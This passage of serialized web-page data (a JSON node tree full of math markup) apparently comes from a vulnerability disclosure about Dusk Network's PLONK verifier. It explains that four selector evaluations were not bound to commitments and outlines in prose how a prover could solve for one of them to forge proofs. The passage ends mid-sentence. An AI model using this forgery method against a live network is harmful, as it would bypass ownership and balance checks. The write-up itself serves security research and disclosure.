constraints:",{"type":20,"tag":53997,"props":143586,"children":143587},{},[143588,143604],{"type":20,"tag":121256,"props":143589,"children":143590},{},[143591],{"type":20,"tag":121260,"props":143592,"children":143593},{},[143594,143599],{"type":20,"tag":121264,"props":143595,"children":143596},{},[143597],{"type":26,"value":143598},"Circuit check",{"type":20,"tag":121264,"props":143600,"children":143601},{},[143602],{"type":26,"value":143603},"Statement being checked",{"type":20,"tag":121284,"props":143605,"children":143606},{},[143607,143625,143643,143661,143679,143836,143976,143994],{"type":20,"tag":121260,"props":143608,"children":143609},{},[143610,143620],{"type":20,"tag":121291,"props":143611,"children":143612},{},[143613],{"type":20,"tag":35,"props":143614,"children":143617},{"href":143615,"rel":143616},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[39],[143618],{"type":26,"value":143619},"Merkle tree membership",{"type":20,"tag":121291,"props":143621,"children":143622},{},[143623],{"type":26,"value":143624},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":20,"tag":121260,"props":143626,"children":143627},{},[143628,143638],{"type":20,"tag":121291,"props":143629,"children":143630},{},[143631],{"type":20,"tag":35,"props":143632,"children":143635},{"href":143633,"rel":143634},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[39],[143636],{"type":26,"value":143637},"Input-note secret-key authorization",{"type":20,"tag":121291,"props":143639,"children":143640},{},[143641],{"type":26,"value":143642},"The prover knows the secret key controlling each input note",{"type":20,"tag":121260,"props":143644,"children":143645},{},[143646,143656],{"type":20,"tag":121291,"props":143647,"children":143648},{},[143649],{"type":20,"tag":35,"props":143650,"children":143653},{"href":143651,"rel":143652},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[39],[143654],{"type":26,"value":143655},"Nullifier correctness",{"type":20,"tag":121291,"props":143657,"children":143658},{},[143659],{"type":26,"value":143660},"Each nullifier matches the corresponding note key and position",{"type":20,"tag":121260,"props":143662,"children":143663},{},[143664,143674],{"type":20,"tag":121291,"props":143665,"children":143666},{},[143667],{"type":20,"tag":35,"props":143668,"children":143671},{"href":143669,"rel":143670},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[39],[143672],{"type":26,"value":143673},"Output value commitment correctness",{"type":20,"tag":121291,"props":143675,"children":143676},{},[143677],{"type":26,"value":143678},"Each public output commitment matches the secret output value and blinder",{"type":20,"tag":121260,"props":143680,"children":143681},{},[143682,143692],{"type":20,"tag":121291,"props":143683,"children":143684},{},[143685],{"type":20,"tag":35,"props":143686,"children":143689},{"href":143687,"rel":143688},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[39],[143690],{"type":26,"value":143691},"Balance integrity",{"type":20,"tag":121291,"props":143693,"children":143694},{},[143695],{"type":20,"tag":119,"props":143696,"children":143698},{"className":143697},[2375,2376],[143699],{"type":20,"tag":315,"props":143700,"children":143702},{"className":143701},[2381],[143703],{"type":20,"tag":315,"props":143704,"children":143706},{"className":143705,"ariaHidden":2387},[2386],[143707,143747,143787,143819],{"type":20,"tag":315,"props":143708,"children":143710},{"className":143709},[2392],[143711,143715,143720,143724,143734,143738,143743],{"type":20,"tag":315,"props":143712,"children":143714},{"className":143713,"style":2504},[2397],[],{"type":20,"tag":315,"props":143716,"children":143718},{"className":143717,"style":20035},[20028,20033,20034],[143719],{"type":26,"value":107100},{"type":20,"tag":315,"props":143721,"children":143723},{"className":143722,"style":2522},[2483],[],{"type":20,"tag":315,"props":143725,"children":143727},{"className":143726},[2403,26],[143728],{"type":20,"tag":315,"props":143729,"children":143731},{"className":143730},[2403],[143732],{"type":26,"value":143733},"inputs",{"type":20,"tag":315,"props":143735,"children":143737},{"className":143736,"style":2581},[2483],[],{"type":20,"tag":315,"props":143739,"children":143741},{"className":143740},[2586],[143742],{"type":26,"value":337},{"type":20,"tag":315,"props":143744,"children":143746},{"className":143745,"style":2581},[2483],[],{"type":20,"tag":315,"props":143748,"children":143750},{"className":143749},[2392],[143751,143755,143760,143764,143774,143778,143783],{"type":20,"tag":315,"props":143752,"children":143754},{"className":143753,"style":2504},[2397],[],{"type":20,"tag":315,"props":143756,"children":143758},{"className":143757,"style":20035},[20028,20033,20034],[143759],{"type":26,"value":107100},{"type":20,"tag":315,"props":143761,"children":143763},{"className":143762,"style":2522},[2483],[],{"type":20,"tag":315,"props":143765,"children":143767},{"className":143766},[2403,26],[143768],{"type":20,"tag":315,"props":143769,"children":143771},{"className":143770},[2403],[143772],{"type":26,"value":143773},"outputs",{"type":20,"tag":315,"props":143775,"children":143777},{"className":143776,"style":2484},[2483],[],{"type":20,"tag":315,"props":143779,"children":143781},{"className":143780},[2489],[143782],{"type":26,"value":817},{"type":20,"tag":315,"props":143784,"children":143786},{"className":143785,"style":2484},[2483],[],{"type":20,"tag":315,"props":143788,"children":143790},{"className":143789},[2392],[143791,143796,143806,143810,143815],{"type":20,"tag":315,"props":143792,"children":143795},{"className":143793,"style":143794},[2397],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":20,"tag":315,"props":143797,"children":143799},{"className":143798},[2403,26],[143800],{"type":20,"tag":315,"props":143801,"children":143803},{"className":143802},[2403],[143804],{"type":26,"value":143805},"fee",{"type":20,"tag":315,"props":143807,"children":143809},{"className":143808,"style":2484},[2483],[],{"type":20,"tag":315,"props":143811,"children":143813},{"className":143812},[2489],[143814],{"type":26,"value":817},{"type":20,"tag":315,"props":143816,"children":143818},{"className":143817,"style":2484},[2483],[],{"type":20,"tag":315,"props":143820,"children":143822},{"className":143821},[2392],[143823,143827],{"type":20,"tag":315,"props":143824,"children":143826},{"className":143825,"style":113360},[2397],[],{"type":20,"tag":315,"props":143828,"children":143830},{"className":143829},[2403,26],[143831],{"type":20,"tag":315,"props":143832,"children":143834},{"className":143833},[2403],[143835],{"type":26,"value":60217},{"type":20,"tag":121260,"props":143837,"children":143838},{},[143839,143856],{"type":20,"tag":121291,"props":143840,"children":143841},{},[143842,143849,143850],{"type":20,"tag":35,"props":143843,"children":143846},{"href":143844,"rel":143845},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[39],[143847],{"type":26,"value":143848},"Range checks on inputs",{"type":26,"value":9392},{"type":20,"tag":35,"props":143851,"children":143854},{"href":143852,"rel":143853},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[39],[143855],{"type":26,"value":143773},{"type":20,"tag":121291,"props":143857,"children":143858},{},[143859,143861],{"type":26,"value":143860},"All note values lie in ",{"type":20,"tag":119,"props":143862,"children":143864},{"className":143863},[2375,2376],[143865],{"type":20,"tag":315,"props":143866,"children":143868},{"className":143867},[2381],[143869],{"type":20,"tag":315,"props":143870,"children":143872},{"className":143871,"ariaHidden":2387},[2386],[143873,143958],{"type":20,"tag":315,"props":143874,"children":143876},{"className":143875},[2392],[143877,143881,143886,143891,143896,143900,143945,143949,143954],{"type":20,"tag":315,"props":143878,"children":143880},{"className":143879,"style":113617},[2397],[],{"type":20,"tag":315,"props":143882,"children":143884},{"className":143883},[20121],[143885],{"type":26,"value":2117},{"type":20,"tag":315,"props":143887,"children":143889},{"className":143888},[2403],[143890],{"type":26,"value":1063},{"type":20,"tag":315,"props":143892,"children":143894},{"className":143893},[2515],[143895],{"type":26,"value":2518},{"type":20,"tag":315,"props":143897,"children":143899},{"className":143898,"style":2522},[2483],[],{"type":20,"tag":315,"props":143901,"children":143903},{"className":143902},[2403],[143904,143909],{"type":20,"tag":315,"props":143905,"children":143907},{"className":143906},[2403],[143908],{"type":26,"value":1504},{"type":20,"tag":315,"props":143910,"children":143912},{"className":143911},[2419],[143913],{"type":20,"tag":315,"props":143914,"children":143916},{"className":143915},[2424],[143917],{"type":20,"tag":315,"props":143918,"children":143920},{"className":143919},[2429],[143921],{"type":20,"tag":315,"props":143922,"children":143924},{"className":143923,"style":2398},[2434],[143925],{"type":20,"tag":315,"props":143926,"children":143927},{"style":2438},[143928,143932],{"type":20,"tag":315,"props":143929,"children":143931},{"className":143930,"style":2444},[2443],[],{"type":20,"tag":315,"props":143933,"children":143935},{"className":143934},[2449,2450,2451,2452],[143936],{"type":20,"tag":315,"props":143937,"children":143939},{"className":143938},[2403,2452],[143940],{"type":20,"tag":315,"props":143941,"children":143943},{"className":143942},[2403,2452],[143944],{"type":26,"value":27838},{"type":20,"tag":315,"props":143946,"children":143948},{"className":143947,"style":2484},[2483],[],{"type":20,"tag":315,"props":143950,"children":143952},{"className":143951},[2489],[143953],{"type":26,"value":2463},{"type":20,"tag":315,"props":143955,"children":143957},{"className":143956,"style":2484},[2483],[],{"type":20,"tag":315,"props":143959,"children":143961},{"className":143960},[2392],[143962,143966,143971],{"type":20,"tag":315,"props":143963,"children":143965},{"className":143964,"style":2504},[2397],[],{"type":20,"tag":315,"props":143967,"children":143969},{"className":143968},[2403],[143970],{"type":26,"value":2406},{"type":20,"tag":315,"props":143972,"children":143974},{"className":143973},[20143],[143975],{"type":26,"value":13812},{"type":20,"tag":121260,"props":143977,"children":143978},{},[143979,143989],{"type":20,"tag":121291,"props":143980,"children":143981},{},[143982],{"type":20,"tag":35,"props":143983,"children":143986},{"href":143984,"rel":143985},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[39],[143987],{"type":26,"value":143988},"Sender-authorship signatures",{"type":20,"tag":121291,"props":143990,"children":143991},{},[143992],{"type":26,"value":143993},"The transaction payload is signed by the sender's two signing key components",{"type":20,"tag":121260,"props":143995,"children":143996},{},[143997,144007],{"type":20,"tag":121291,"props":143998,"children":143999},{},[144000],{"type":20,"tag":35,"props":144001,"children":144004},{"href":144002,"rel":144003},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[39],[144005],{"type":26,"value":144006},"Sender encryption correctness",{"type":20,"tag":121291,"props":144008,"children":144009},{},[144010],{"type":26,"value":144011},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":20,"tag":29,"props":144013,"children":144014},{},[144015,144017,144023,144025,144034],{"type":26,"value":144016},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":20,"tag":119,"props":144018,"children":144020},{"className":144019},[],[144021],{"type":26,"value":144022},"tx.public_inputs()",{"type":26,"value":144024}," via ",{"type":20,"tag":35,"props":144026,"children":144028},{"href":143464,"rel":144027},[39],[144029],{"type":20,"tag":119,"props":144030,"children":144032},{"className":144031},[],[144033],{"type":26,"value":143472},{"type":26,"value":61},{"type":20,"tag":29,"props":144036,"children":144037},{},[144038],{"type":26,"value":144039},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":20,"tag":17197,"props":144041,"children":144042},{},[],{"type":20,"tag":21,"props":144044,"children":144045},{"id":88559},[144046],{"type":26,"value":144047},"The bug",{"type":20,"tag":29,"props":144049,"children":144050},{},[144051,144053,144060,144062,144073],{"type":26,"value":144052},"In the ",{"type":20,"tag":35,"props":144054,"children":144057},{"href":144055,"rel":144056},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[39],[144058],{"type":26,"value":144059},"PLONK verification",{"type":26,"value":144061},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":20,"tag":35,"props":144063,"children":144066},{"href":144064,"rel":144065},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[39],[144067],{"type":20,"tag":119,"props":144068,"children":144070},{"className":144069},[],[144071],{"type":26,"value":144072},"E_evals",{"type":26,"value":144074},") are:",{"type":20,"tag":15089,"props":144076,"children":144077},{},[144078,144110,144135,144160],{"type":20,"tag":72,"props":144079,"children":144080},{},[144081,144087,144088,144094,144095,144101,144102,144108],{"type":20,"tag":119,"props":144082,"children":144084},{"className":144083},[],[144085],{"type":26,"value":144086},"a_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144089,"children":144091},{"className":144090},[],[144092],{"type":26,"value":144093},"b_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144096,"children":144098},{"className":144097},[],[144099],{"type":26,"value":144100},"c_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144103,"children":144105},{"className":144104},[],[144106],{"type":26,"value":144107},"d_eval",{"type":26,"value":144109}," (witness)",{"type":20,"tag":72,"props":144111,"children":144112},{},[144113,144119,144120,144126,144127,144133],{"type":20,"tag":119,"props":144114,"children":144116},{"className":144115},[],[144117],{"type":26,"value":144118},"s_sigma_1_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144121,"children":144123},{"className":144122},[],[144124],{"type":26,"value":144125},"s_sigma_2_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144128,"children":144130},{"className":144129},[],[144131],{"type":26,"value":144132},"s_sigma_3_eval",{"type":26,"value":144134}," (permutation)",{"type":20,"tag":72,"props":144136,"children":144137},{},[144138,144144,144145,144151,144152,144158],{"type":20,"tag":119,"props":144139,"children":144141},{"className":144140},[],[144142],{"type":26,"value":144143},"a_w_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144146,"children":144148},{"className":144147},[],[144149],{"type":26,"value":144150},"b_w_eval",{"type":26,"value":44},{"type":20,"tag":119,"props":144153,"children":144155},{"className":144154},[],[144156],{"type":26,"value":144157},"d_w_eval",{"type":26,"value":144159}," (shifted witness)",{"type":20,"tag":72,"props":144161,"children":144162},{},[144163,144169],{"type":20,"tag":119,"props":144164,"children":144166},{"className":144165},[],[144167],{"type":26,"value":144168},"z_eval",{"type":26,"value":144170}," (permutation accumulator)",{"type":20,"tag":29,"props":144172,"children":144173},{},[144174,144176,144180],{"type":26,"value":144175},"But the following selector evaluations were ",{"type":20,"tag":55,"props":144177,"children":144178},{},[144179],{"type":26,"value":16892},{"type":26,"value":144181}," included:",{"type":20,"tag":15089,"props":144183,"children":144184},{},[144185,144196,144207,144218],{"type":20,"tag":72,"props":144186,"children":144187},{},[144188,144194],{"type":20,"tag":119,"props":144189,"children":144191},{"className":144190},[],[144192],{"type":26,"value":144193},"q_arith_eval",{"type":26,"value":144195}," (arithmetic selector)",{"type":20,"tag":72,"props":144197,"children":144198},{},[144199,144205],{"type":20,"tag":119,"props":144200,"children":144202},{"className":144201},[],[144203],{"type":26,"value":144204},"q_c_eval",{"type":26,"value":144206}," (constant selector)",{"type":20,"tag":72,"props":144208,"children":144209},{},[144210,144216],{"type":20,"tag":119,"props":144211,"children":144213},{"className":144212},[],[144214],{"type":26,"value":144215},"q_l_eval",{"type":26,"value":144217}," (left selector)",{"type":20,"tag":72,"props":144219,"children":144220},{},[144221,144227],{"type":20,"tag":119,"props":144222,"children":144224},{"className":144223},[],[144225],{"type":26,"value":144226},"q_r_eval",{"type":26,"value":144228}," (right selector)",{"type":20,"tag":29,"props":144230,"children":144231},{},[144232,144234,144241,144242,144249,144250,144257,144258,144265],{"type":26,"value":144233},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":20,"tag":35,"props":144235,"children":144238},{"href":144236,"rel":144237},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[39],[144239],{"type":26,"value":144240},"proof struct",{"type":26,"value":44},{"type":20,"tag":35,"props":144243,"children":144246},{"href":144244,"rel":144245},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[39],[144247],{"type":26,"value":144248},"transcript absorption",{"type":26,"value":44},{"type":20,"tag":35,"props":144251,"children":144254},{"href":144252,"rel":144253},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[39],[144255],{"type":26,"value":144256},"arithmetic widget",{"type":26,"value":44},{"type":20,"tag":35,"props":144259,"children":144262},{"href":144260,"rel":144261},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[39],[144263],{"type":26,"value":144264},"fixed-base ECC widget",{"type":26,"value":144266},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":20,"tag":29,"props":144268,"children":144269},{},[144270,144272,144276],{"type":26,"value":144271},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":20,"tag":55,"props":144273,"children":144274},{},[144275],{"type":26,"value":16892},{"type":26,"value":144277}," bugs:",{"type":20,"tag":15089,"props":144279,"children":144280},{},[144281,144421],{"type":20,"tag":72,"props":144282,"children":144283},{},[144284,144286,144331,144333,144339,144341,144346,144347,144352,144353,144358,144360,144366,144368,144413,144415,144420],{"type":26,"value":144285},"There is no prover-supplied ",{"type":20,"tag":119,"props":144287,"children":144289},{"className":144288},[2375,2376],[144290],{"type":20,"tag":315,"props":144291,"children":144293},{"className":144292},[2381],[144294],{"type":20,"tag":315,"props":144295,"children":144297},{"className":144296,"ariaHidden":2387},[2386],[144298],{"type":20,"tag":315,"props":144299,"children":144301},{"className":144300},[2392],[144302,144306,144311,144316,144321,144326],{"type":20,"tag":315,"props":144303,"children":144305},{"className":144304,"style":2504},[2397],[],{"type":20,"tag":315,"props":144307,"children":144309},{"className":144308},[2403,19992],[144310],{"type":26,"value":1528},{"type":20,"tag":315,"props":144312,"children":144314},{"className":144313},[20121],[144315],{"type":26,"value":1049},{"type":20,"tag":315,"props":144317,"children":144319},{"className":144318,"style":111862},[2403,19992],[144320],{"type":26,"value":111865},{"type":20,"tag":315,"props":144322,"children":144324},{"className":144323,"style":91791},[2403,19992],[144325],{"type":26,"value":142995},{"type":20,"tag":315,"props":144327,"children":144329},{"className":144328},[20143],[144330],{"type":26,"value":1509},{"type":26,"value":144332}," field at all. ",{"type":20,"tag":119,"props":144334,"children":144336},{"className":144335},[],[144337],{"type":26,"value":144338},"ProofEvaluations",{"type":26,"value":144340}," contains ",{"type":20,"tag":119,"props":144342,"children":144344},{"className":144343},[],[144345],{"type":26,"value":144143},{"type":26,"value":44},{"type":20,"tag":119,"props":144348,"children":144350},{"className":144349},[],[144351],{"type":26,"value":144150},{"type":26,"value":4882},{"type":20,"tag":119,"props":144354,"children":144356},{"className":144355},[],[144357],{"type":26,"value":144157},{"type":26,"value":144359},", but no ",{"type":20,"tag":119,"props":144361,"children":144363},{"className":144362},[],[144364],{"type":26,"value":144365},"c_w_eval",{"type":26,"value":144367},", so the verifier never consumes an unbound ",{"type":20,"tag":119,"props":144369,"children":144371},{"className":144370},[2375,2376],[144372],{"type":20,"tag":315,"props":144373,"children":144375},{"className":144374},[2381],[144376],{"type":20,"tag":315,"props":144377,"children":144379},{"className":144378,"ariaHidden":2387},[2386],[144380],{"type":20,"tag":315,"props":144381,"children":144383},{"className":144382},[2392],[144384,144388,144393,144398,144403,144408],{"type":20,"tag":315,"props":144385,"children":144387},{"className":144386,"style":2504},[2397],[],{"type":20,"tag":315,"props":144389,"children":144391},{"className":144390},[2403,19992],[144392],{"type":26,"value":1528},{"type":20,"tag":315,"props":144394,"children":144396},{"className":144395},[20121],[144397],{"type":26,"value":1049},{"type":20,"tag":315,"props":144399,"children":144401},{"className":144400,"style":111862},[2403,19992],[144402],{"type":26,"value":111865},{"type":20,"tag":315,"props":144404,"children":144406},{"className":144405,"style":91791},[2403,19992],[144407],{"type":26,"value":142995},{"type":20,"tag":315,"props":144409,"children":144411},{"className":144410},[20143],[144412],{"type":26,"value":1509},{"type":26,"value":144414}," claim (",{"type":20,"tag":35,"props":144416,"children":144418},{"href":144236,"rel":144417},[39],[144419],{"type":26,"value":144240},{"type":26,"value":19146},{"type":20,"tag":72,"props":144422,"children":144423},{},[144424,144426,144513,144515,144607,144608,144615],{"type":26,"value":144425},"There is a fourth permutation commitment ",{"type":20,"tag":119,"props":144427,"children":144429},{"className":144428},[2375,2376],[144430],{"type":20,"tag":315,"props":144431,"children":144433},{"className":144432},[2381],[144434],{"type":20,"tag":315,"props":144435,"children":144437},{"className":144436,"ariaHidden":2387},[2386],[144438],{"type":20,"tag":315,"props":144439,"children":144441},{"className":144440},[2392],[144442,144446,144451,144508],{"type":20,"tag":315,"props":144443,"children":144445},{"className":144444,"style":2504},[2397],[],{"type":20,"tag":315,"props":144447,"children":144449},{"className":144448},[20121],[144450],{"type":26,"value":2117},{"type":20,"tag":315,"props":144452,"children":144454},{"className":144453},[2403],[144455,144460],{"type":20,"tag":315,"props":144456,"children":144458},{"className":144457,"style":91791},[2403,19992],[144459],{"type":26,"value":142890},{"type":20,"tag":315,"props":144461,"children":144463},{"className":144462},[2419],[144464],{"type":20,"tag":315,"props":144465,"children":144467},{"className":144466},[2424,20046],[144468,144497],{"type":20,"tag":315,"props":144469,"children":144471},{"className":144470},[2429],[144472,144492],{"type":20,"tag":315,"props":144473,"children":144475},{"className":144474,"style":91357},[2434],[144476],{"type":20,"tag":315,"props":144477,"children":144478},{"style":91838},[144479,144483],{"type":20,"tag":315,"props":144480,"children":144482},{"className":144481,"style":2444},[2443],[],{"type":20,"tag":315,"props":144484,"children":144486},{"className":144485},[2449,2450,2451,2452],[144487],{"type":20,"tag":315,"props":144488,"children":144490},{"className":144489},[2403,2452],[144491],{"type":26,"value":15931},{"type":20,"tag":315,"props":144493,"children":144495},{"className":144494},[20149],[144496],{"type":26,"value":20152},{"type":20,"tag":315,"props":144498,"children":144500},{"className":144499},[2429],[144501],{"type":20,"tag":315,"props":144502,"children":144504},{"className":144503,"style":91388},[2434],[144505],{"type":20,"tag":315,"props":144506,"children":144507},{},[],{"type":20,"tag":315,"props":144509,"children":144511},{"className":144510},[20143],[144512],{"type":26,"value":13812},{"type":26,"value":144514}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":20,"tag":119,"props":144516,"children":144518},{"className":144517},[2375,2376],[144519],{"type":20,"tag":315,"props":144520,"children":144522},{"className":144521},[2381],[144523],{"type":20,"tag":315,"props":144524,"children":144526},{"className":144525,"ariaHidden":2387},[2386],[144527],{"type":20,"tag":315,"props":144528,"children":144530},{"className":144529},[2392],[144531,144535,144592,144597,144602],{"type":20,"tag":315,"props":144532,"children":144534},{"className":144533,"style":2504},[2397],[],{"type":20,"tag":315,"props":144536,"children":144538},{"className":144537},[2403],[144539,144544],{"type":20,"tag":315,"props":144540,"children":144542},{"className":144541,"style":91791},[2403,19992],[144543],{"type":26,"value":142890},{"type":20,"tag":315,"props":144545,"children":144547},{"className":144546},[2419],[144548],{"type":20,"tag":315,"props":144549,"children":144551},{"className":144550},[2424,20046],[144552,144581],{"type":20,"tag":315,"props":144553,"children":144555},{"className":144554},[2429],[144556,144576],{"type":20,"tag":315,"props":144557,"children":144559},{"className":144558,"style":91357},[2434],[144560],{"type":20,"tag":315,"props":144561,"children":144562},{"style":91838},[144563,144567],{"type":20,"tag":315,"props":144564,"children":144566},{"className":144565,"style":2444},[2443],[],{"type":20,"tag":315,"props":144568,"children":144570},{"className":144569},[2449,2450,2451,2452],[144571],{"type":20,"tag":315,"props":144572,"children":144574},{"className":144573},[2403,2452],[144575],{"type":26,"value":15931},{"type":20,"tag":315,"props":144577,"children":144579},{"className":144578},[20149],[144580],{"type":26,"value":20152},{"type":20,"tag":315,"props":144582,"children":144584},{"className":144583},[2429],[144585],{"type":20,"tag":315,"props":144586,"children":144588},{"className":144587,"style":91388},[2434],[144589],{"type":20,"tag":315,"props":144590,"children":144591},{},[],{"type":20,"tag":315,"props":144593,"children":144595},{"className":144594},[20121],[144596],{"type":26,"value":1049},{"type":20,"tag":315,"props":144598,"children":144600},{"className":144599,"style":111862},[2403,19992],[144601],{"type":26,"value":111865},{"type":20,"tag":315,"props":144603,"children":144605},{"className":144604},[20143],[144606],{"type":26,"value":1509},{"type":26,"value":463},{"type":20,"tag":35,"props":144609,"children":144612},{"href":144610,"rel":144611},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[39],[144613],{"type":26,"value":144614},"permutation verifier key",{"type":26,"value":19146},{"type":20,"tag":29,"props":144617,"children":144618},{},[144619,144621,144631],{"type":26,"value":144620},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":20,"tag":35,"props":144622,"children":144625},{"href":144623,"rel":144624},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[39],[144626],{"type":20,"tag":119,"props":144627,"children":144629},{"className":144628},[],[144630],{"type":26,"value":144072},{"type":26,"value":144632},", which leaves the master equation underconstrained.",{"type":20,"tag":29,"props":144634,"children":144635},{},[144636],{"type":20,"tag":2308,"props":144637,"children":144640},{"alt":144638,"src":144639},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":20,"tag":17197,"props":144642,"children":144643},{},[],{"type":20,"tag":21,"props":144645,"children":144647},{"id":144646},"the-exploitation",[144648],{"type":26,"value":144649},"The exploitation",{"type":20,"tag":29,"props":144651,"children":144652},{},[144653],{"type":26,"value":144654},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":20,"tag":29,"props":144656,"children":144657},{},[144658,144660,144666,144668,144673,144675,144680,144682,144688],{"type":26,"value":144659},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":20,"tag":119,"props":144661,"children":144663},{"className":144662},[],[144664],{"type":26,"value":144665},"z_challenge",{"type":26,"value":144667},", it computes what the linearization polynomial ",{"type":20,"tag":55,"props":144669,"children":144670},{},[144671],{"type":26,"value":144672},"should",{"type":26,"value":144674}," evaluate to for the pairing check to pass, then solves for ",{"type":20,"tag":119,"props":144676,"children":144678},{"className":144677},[],[144679],{"type":26,"value":144193},{"type":26,"value":144681},", the single free variable that makes the verification equation balance (setting ",{"type":20,"tag":119,"props":144683,"children":144685},{"className":144684},[],[144686],{"type":26,"value":144687},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":26,"value":19146},{"type":20,"tag":29,"props":144690,"children":144691},{},[144692],{"type":20,"tag":2308,"props":144693,"children":144696},{"alt":144694,"src":144695},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":20,"tag":29,"props":144698,"children":144699},{},[144700,144702,144742,144744,144769,144771,144776],{"type":26,"value":144701},"To achieve this one may compute the linearization polynomial ",{"type":20,"tag":119,"props":144703,"children":144705},{"className":144704},[2375,2376],[144706],{"type":20,"tag":315,"props":144707,"children":144709},{"className":144708},[2381],[144710],{"type":20,"tag":315,"props":144711,"children":144713},{"className":144712,"ariaHidden":2387},[2386],[144714],{"type":20,"tag":315,"props":144715,"children":144717},{"className":144716},[2392],[144718,144722,144727,144732,144737],{"type":20,"tag":315,"props":144719,"children":144721},{"className":144720,"style":2504},[2397],[],{"type":20,"tag":315,"props":144723,"children":144725},{"className":144724,"style":91305},[2403,19992],[144726],{"type":26,"value":92124},{"type":20,"tag":315,"props":144728,"children":144730},{"className":144729},[20121],[144731],{"type":26,"value":1049},{"type":20,"tag":315,"props":144733,"children":144735},{"className":144734},[2403,19992],[144736],{"type":26,"value":17680},{"type":20,"tag":315,"props":144738,"children":144740},{"className":144739},[20143],[144741],{"type":26,"value":1509},{"type":26,"value":144743}," with all selectors set to zero, evaluating it at ",{"type":20,"tag":119,"props":144745,"children":144747},{"className":144746},[2375,2376],[144748],{"type":20,"tag":315,"props":144749,"children":144751},{"className":144750},[2381],[144752],{"type":20,"tag":315,"props":144753,"children":144755},{"className":144754,"ariaHidden":2387},[2386],[144756],{"type":20,"tag":315,"props":144757,"children":144759},{"className":144758},[2392],[144760,144764],{"type":20,"tag":315,"props":144761,"children":144763},{"className":144762,"style":109146},[2397],[],{"type":20,"tag":315,"props":144765,"children":144767},{"className":144766,"style":111862},[2403,19992],[144768],{"type":26,"value":111865},{"type":26,"value":144770},", and comparing to the target value; the difference divided by the coefficient of ",{"type":20,"tag":119,"props":144772,"children":144774},{"className":144773},[],[144775],{"type":26,"value":144193},{"type":26,"value":144777}," gives the required value in a single field division.",{"type":20,"tag":17197,"props":144779,"children":144780},{},[],{"type":20,"tag":21,"props":144782,"children":144784},{"id":144783},"impact-on-dusk-network",[144785],{"type":26,"value":144786},"Impact on Dusk Network",{"type":20,"tag":29,"props":144788,"children":144789},{},[144790,144792,144799],{"type":26,"value":144791},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof 